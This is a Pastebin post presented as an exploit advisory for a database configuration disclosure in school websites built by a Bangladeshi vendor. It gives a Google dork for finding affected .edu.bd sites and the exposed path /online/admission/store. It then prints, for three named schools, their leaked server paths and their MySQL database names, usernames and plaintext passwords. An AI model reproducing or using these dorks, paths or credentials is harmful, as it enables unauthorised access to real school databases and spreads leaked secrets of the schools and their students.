Advertisement
KingSkrupellos

Momtaj Trading Pvt Ltd Bangladesh DB Config Disclosure

May 1st, 2019
260
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.76 KB | None | 0 0
  1. ######################################################################
  2.  
  3. # Exploit Title : Momtaj Trading Pvt Ltd Bangladesh Database Configuration Disclosure
  4. # Author [ Discovered By ] : KingSkrupellos
  5. # Team : Cyberizm Digital Security Army
  6. # Date : 02/05/2019
  7. # Vendor Homepage : momtajtdpl.com.bd
  8. # Tested On : Windows and Linux
  9. # Category : WebApps
  10. # Exploit Risk : Medium
  11. # Vulnerability Type :
  12. CWE-16 [ Configuration ]
  13. CWE-200 [ Information Exposure ]
  14. CWE-538 [ File and Directory Information Exposure ]
  15. # Google Dorks : intext:Design & Developed By Momtaj Trading(Pvt) Ltd. site:edu.bd
  16. # PacketStormSecurity : packetstormsecurity.com/files/authors/13968
  17. # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
  18. # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
  19.  
  20. #####################################################################
  21.  
  22. # Impact :
  23. ***********
  24. Momtaj Trading Pvt Ltd Bangladesh configuration file may potentially
  25.  
  26. disclose sensitive information to remote attackers.
  27.  
  28. The configuration file unintentionally stored in /online/admission/store
  29.  
  30. HTTP requests consisting of a single character will cause the software to disclose sensitive
  31.  
  32. configuration information, including the password/database to the administrative web interface.
  33.  
  34. This file is installed, by default, with world readable and possibly world writeable permissions enabled.
  35.  
  36. This may have some potentially serious consequences as the configuration file
  37.  
  38. also stores password information in plain text.
  39.  
  40. This issue occurs because access controls on configuration files are not properly set.
  41.  
  42. An attacker can exploit this issue to retrieve potentially sensitive information.
  43.  
  44. Attackers can access config file via URL request. This may aid in further attacks.
  45.  
  46. * The product stores sensitive information in files or directories that are accessible to actors
  47.  
  48. outside of the intended control sphere.
  49.  
  50. * An information exposure is the intentional or unintentional disclosure of information to an actor
  51.  
  52. that is not explicitly authorized to have access to that information.
  53.  
  54. #####################################################################
  55.  
  56. # Database Configuration File Disclosure Exploit :
  57. *******************************************
  58. /online/admission/store
  59.  
  60. Information :
  61. *************
  62. SERVER_ADMIN =>
  63. Server IP Address =>
  64. DOCUMENT_ROOT =>
  65. DB_CONNECTION =>
  66. DB_HOST =>
  67. DB_PORT =>
  68. DB_DATABASE =>
  69. DB_USERNAME =>
  70. DB_PASSWORD =>
  71.  
  72. #####################################################################
  73.  
  74. # Example Vulnerable Sites :
  75. *************************
  76. [+] batrishhazarihighschool.edu.bd/online/admission/store
  77.  
  78. SERVER_ADMIN => "webmaster@batrishhazarihighschool.asf.com.bd"
  79. DOCUMENT_ROOT => "/home/yaclf0mv9b7u/public_html/batrishhazarihighschool.edu.bd"
  80. DB_CONNECTION => "mysql"
  81. DB_HOST => "localhost"
  82. DB_PORT => "3306"
  83. DB_DATABASE => "batrishhazarih"
  84. DB_USERNAME => "batrishhazarih"
  85. DB_PASSWORD => "*batrishhazarih123"
  86.  
  87. [+] pphs.edu.bd/online/admission/store
  88.  
  89. DOCUMENT_ROOT => "/home/yaclf0mv9b7u/pphs.edu.bd"
  90. SERVER_ADMIN => "webmaster@pphs.asf.com.bd"
  91. DB_CONNECTION => "mysql"
  92. DB_HOST => "localhost"
  93. DB_PORT => "3306"
  94. DB_DATABASE => "pphs"
  95. DB_USERNAME => "pphs"
  96. DB_PASSWORD => "*pphs123"
  97.  
  98. [+] jubsreepur.edu.bd/online/admission/store
  99.  
  100. DOCUMENT_ROOT => "/home/yaclf0mv9b7u/public_html/jubsreepur.edu.bd"
  101. SERVER_ADMIN => "webmaster@jubsreepur.asf.com.bd"
  102. DB_CONNECTION => "mysql"
  103. DB_HOST => "localhost"
  104. DB_PORT => "3306"
  105. DB_DATABASE => "jubsreepur"
  106. DB_USERNAME => "jubsreepur"
  107. DB_PASSWORD => "*jubsreepur123"
  108.  
  109. #####################################################################
  110.  
  111. # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
  112.  
  113. #####################################################################
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement